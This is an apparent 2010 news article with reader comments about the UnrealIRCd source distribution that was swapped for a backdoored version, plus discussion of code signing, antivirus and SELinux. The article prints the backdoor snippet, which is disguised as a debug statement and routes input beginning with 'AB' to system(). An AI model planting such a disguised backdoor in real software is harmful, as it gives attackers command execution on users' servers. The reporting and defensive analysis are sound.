A backdoor in UnrealIRCd
The discovery and announcement of a backdoor in UnrealIRCd is embarrassing for the project, and is certainly a real live security vulnerability. But it is hardly the "proof" that Linux is insecure, or less secure than some other (proprietary) OS, as some pundits would have it. The problem is not Linux-specific, nor is it a problem with free software development, it is, instead, something that could happen—has happened—to any software project.
UnrealIRCd is, as its name implies, an Internet Relay Chat (IRC) server. It runs on most platforms, and has added a number of features that some folks find useful in an IRC server. It is not related to the Unreal first-person shooter game as some reported, it is simply a server that can be run to host IRC channels for a wide variety of purposes.
From what the project can tell, around November 10, 2009 the mirrors of the source distribution of version 3.2.8.1 of UnrealIRCd were replaced with a version that contained a backdoor. That backdoor could be used by an attacker to run any command on a system running the compromised server. That command would, obviously, run with the privileges of the user that executed the server. It took until June 12 for this swap to be noticed, so anyone who picked up a copy of the code in that seven month period may be vulnerable.
The backdoor was disguised to look like a debug statement in the code:
#ifdef DEBUGMODE3 if (!memcmp(readbuf, DEBUGMODE3_INFO, 2)) DEBUG3_LOG(readbuf); #endifDEBUG3_LOG eventually resolves to a call to system(), while DEBUGMODE3_INFO is just the string "AB". Thus commands sent to the server that start with "AB" will be handed off directly to system(). Not a particularly sophisticated backdoor, but an effective one nevertheless. As the advisory points out, even servers that are set up to require passwords from users, or even not allow any users at all, are still vulnerable because they still take input.
The official Windows binaries were not affected by the backdoor, but there is no reason that they couldn't have been. The problem is that the project didn't provide any means for verifying the integrity of downloads. That allowed the switch to be made and remain undetected for so long. Since then, the project has started signing its code with GPG keys.
The affected code did make it into Gentoo, which issued an update on the 14th. But the fact that "Linux" was "backdoored" brought out the usual suspects among web pundits eager to declare that it was a watershed moment for Linux security. While it certainly was a black eye for UnrealIRCd, it clearly wasn't one for Linux as a whole. First off, UnrealIRCd is installed on very few Linux systems—it can hardly be considered a core Linux program—and even those where it is installed are likely to be running it as a separate user (e.g. ircd) with fairly low privileges.
But, even users with low privileges often have enough to be useful to attackers. One could imagine spammers and botnet herders finding ways to use the network capabilities of a basic Linux user account. The storage on the system might be useful as well. Unless the user is running the server as root, no direct system compromise should be possible, though it is important to note that a local privilege escalation in the kernel could be used to take the system over.
One of the more laughable claims about the flaw was Ed Bott's declaration that Windows virus scanners would have detected the problem had it impacted those binaries. Bott must be under the impression that virus scanners somehow magically recognize backdoors in executable code. The truth, of course, is much more prosaic: some human finds the malware and updates the signatures that the virus scanners use. Unless this exact vulnerability had already been injected into other Windows binaries—and thus a signature created—no virus scanner would pick it up.
There are certainly lessons to be learned here—integrity checking is important for one—but not those that many of the Windows-centric columnists are pushing. Windows is no more (or less) vulnerable than Linux to these kinds of attacks; when attackers can control the code that you run, it is "game over" no matter what OS you run. It is possible that SELinux, TOMOYO, or AppArmor could mitigate this kind of attack to some extent, but it is somewhat unlikely that anyone has (yet) tackled configuring any of those for a fairly obscure IRC server.
It is another reminder that we need to be more vigilant about protecting our code distribution networks. It may be somewhat less common these days—many folks get their new software from distribution repositories—but grabbing a tarball, untarring, and typing:
./configure; make; make installis a longstanding tradition in the open source world. In order to continue that, it would be very helpful to automatically check signatures when downloading, but the mechanism for doing so is, as yet, unclear. For now, though, checking signatures manually, and being very leery of unsigned code, is the prudent course.
Index entries for this article | |
---|---|
Security | Backdoors |
Posted Jun 17, 2010 3:42 UTC (Thu)
by mhm (subscriber, #45669)
[Link]
"Since it took months and months for the community to find the system() exploit, we still have a more complicated zerday unrealircd hack module. Please inquire when our website is finished."
Posted Jun 17, 2010 9:28 UTC (Thu)
by amtota (guest, #4012)
[Link]
Much better if you're not watching it do its stuff.
Posted Jun 17, 2010 9:30 UTC (Thu)
by ortalo (guest, #4654)
[Link] (1 responses)
If that small PR is sufficient to fuel adoption among developpers (it already occured for things like sudo) within some years --fail-on-no-security-check could become the default.
BTW, ./configure && make && make install
Posted Jun 17, 2010 11:44 UTC (Thu)
by nix (subscriber, #2304)
[Link]
(this is now way off topic)
Posted Jun 17, 2010 11:52 UTC (Thu)
by richmoore (guest, #53133)
[Link] (3 responses)
Whilst a signature based virus scanner would not have found this, most windows AV products will ask the user when a process tries to launch another, which would have highlighted this issue.
Posted Jun 17, 2010 12:18 UTC (Thu)
by mpr22 (subscriber, #60784)
[Link] (1 responses)
Posted Jun 17, 2010 12:33 UTC (Thu)
by richmoore (guest, #53133)
[Link]
Posted Jun 17, 2010 13:59 UTC (Thu)
by tialaramex (subscriber, #21167)
[Link]
They might have spotted an unsophisticated UnrealIRCd attack
The result is that they're more likely to spot a genuine attack like this, but their users are inured to occasional false alarms and so unlikely to act on it. I scarcely use Windows, and yet I'm aware of several such false alarms from apparently uninteresting programs.
Still, compiling the vulnerable code and running it inside a firewall is safe, any pundit who wants to make a big deal of this should try it and report how many (if any) AV products available six months ago actually spot this.
Posted Jun 18, 2010 5:30 UTC (Fri)
by etbe (subscriber, #17516)
[Link]
sesearch -A -s ircd_t -c file -p execute
If you run the above command on an SE Linux system with the ircd module loaded into the policy it will show the file types that can be executed. That means shared objects in the current policy.
Note that there have been many releases of the policy over the last 10 years and many per-distribution customisations. So I can't claim that every SE Linux policy that was included in every distribution did the right thing in this regard. But the sesearch command allows any SE Linux sysadmin to determine if their system does what they desire.
But it does seem that someone who ran UnrealIRCd on a SE Linux system and who used the correct context for the executable would not be vulnerable to a problem that merely used the system() call.
Of course there are lots of other things that an attacker could potentially do.
A backdoor in UnrealIRCd
http://seclists.org/dailydave/2010/q2/56
A backdoor in UnrealIRCd
A backdoor in UnrealIRCd
is my prefered idiom.
A backdoor in UnrealIRCd
A backdoor in UnrealIRCd
Three torrents of "allow execution" spam from a shell script later, the user becomes anaesthetized to such things.
A backdoor in UnrealIRCd
A backdoor in UnrealIRCd
A backdoor in UnrealIRCd
They often flag up minor third party programs which violated the heuristic but did not in fact do anything bad
A backdoor in UnrealIRCd